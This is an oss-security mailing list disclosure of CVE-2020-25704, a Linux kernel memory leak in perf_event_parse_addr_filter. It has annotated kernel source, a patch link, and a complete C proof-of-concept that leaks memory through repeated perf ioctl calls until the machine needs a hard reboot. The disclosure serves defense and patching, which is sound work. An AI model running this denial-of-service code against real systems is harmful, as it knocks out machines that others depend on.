Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <48969a763aaf4601b35d47f7208746eb@tencent.com>
Date: Mon, 9 Nov 2020 10:39:36 +0000
From: kiyin(尹亮) <kiyin@...cent.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: [CVE-2020-25704] Linux kernel: perf_event_parse_addr_filter memory
 leak

CVE assigned:
CVE-2020-25704

Patch:
https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=7bdb157cdebbf95a1cd94ed2e01b338714075d00

Details:

Hi,

There is a memory leak in perf_event_parse_addr_filter. Here is the detail.

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/kernel/events/core.c?h=v5.9.3#n9991
9991        static int
9992        perf_event_parse_addr_filter(struct perf_event *event, char *fstr,
9993                         struct list_head *filters)
9994        {
......................................................................................................................................................................................................................
10058                    if (token == IF_SRC_FILE || token == IF_SRC_FILEADDR) {
10059                        int fpos = token == IF_SRC_FILE ? 2 : 1;
10060        
10061                        filename = match_strdup(&args[fpos]);                       <--------------- match_strdup allocates memory for filename
10062                        if (!filename) {
10063                            ret = -ENOMEM;
10064                            goto fail;
10065                        }
10066                    }
......................................................................................................................................................................................................................
10089                    if (filter->action == PERF_ADDR_FILTER_ACTION_FILTER &&         <--------------- if filter->action == PERF_ADDR_FILTER_ACTION_FILTER and filter->size is zero, go to failed branch
10090                        !filter->size)
10091                        goto fail;
10092        
......................................................................................................................................................................................................................
10140        fail_free_name:
10141            kfree(filename);
10142        fail:                                                                       <--------------- filename is not freed in the failed branch. that causes a memory leak.
10143            free_filters_list(filters);
10144            kfree(orig);
10145        
10146            return ret;
10147        } 


the length of filename is no limit. using the following test code, it will take 40 seconds to exhaust 16GB memory in my laptop: CPU intel i5 10210U,Ubuntu 20.04, kernel version 5.4.0-42-generic. then I have to press power button to reboot the system manually.

#include <sys/ioctl.h>
#include <linux/perf_event.h>
#include <unistd.h>
#include <string.h>

#define __NR_perf_event_open    298

static long perf_event_open( struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags ) {
    int ret;

    ret = syscall( __NR_perf_event_open, hw_event, pid, cpu, group_fd, flags );
    return ret;
}

char buf[11 + 1024 * 1024 * 16 + 1] = { 0 };

int main( void )
{
    int fd1, i;
    struct perf_event_attr pe1 = { 0 };

    pe1.type = 9; // may be different in other system. just run" cat /sys/bus/event_source/devices/intel_pt/type"
    pe1.exclude_kernel = 1;
    pe1.exclude_hv = 1;
    pe1.exclude_idle = 1;

    fd1 = perf_event_open( &pe1, getpid(), -1, -1, 0 );
    if ( fd1 > 0 )
    {
        memset( buf, 'A', 11 + 1024 * 1024 * 16 ); //filename length is 16MB
        memcpy( buf, "filter,0/0@", 11 );

        for ( i = 0; i < 1024; i++ )
        {
            ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak 16MB*1024=16GB
        }

        buf[11 + 1024 * 1024] = '\0'; //filename length is 1MB
        for ( i = 0; i < 16; i++ )
        {
            ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak 1MB*16=16MB
        }

        buf[11 + 1024] = '\0'; //filename length is 1KB
        while ( 1 )
            ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak the rest
    }
    return 0;
}

Regards,
kiyin.

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.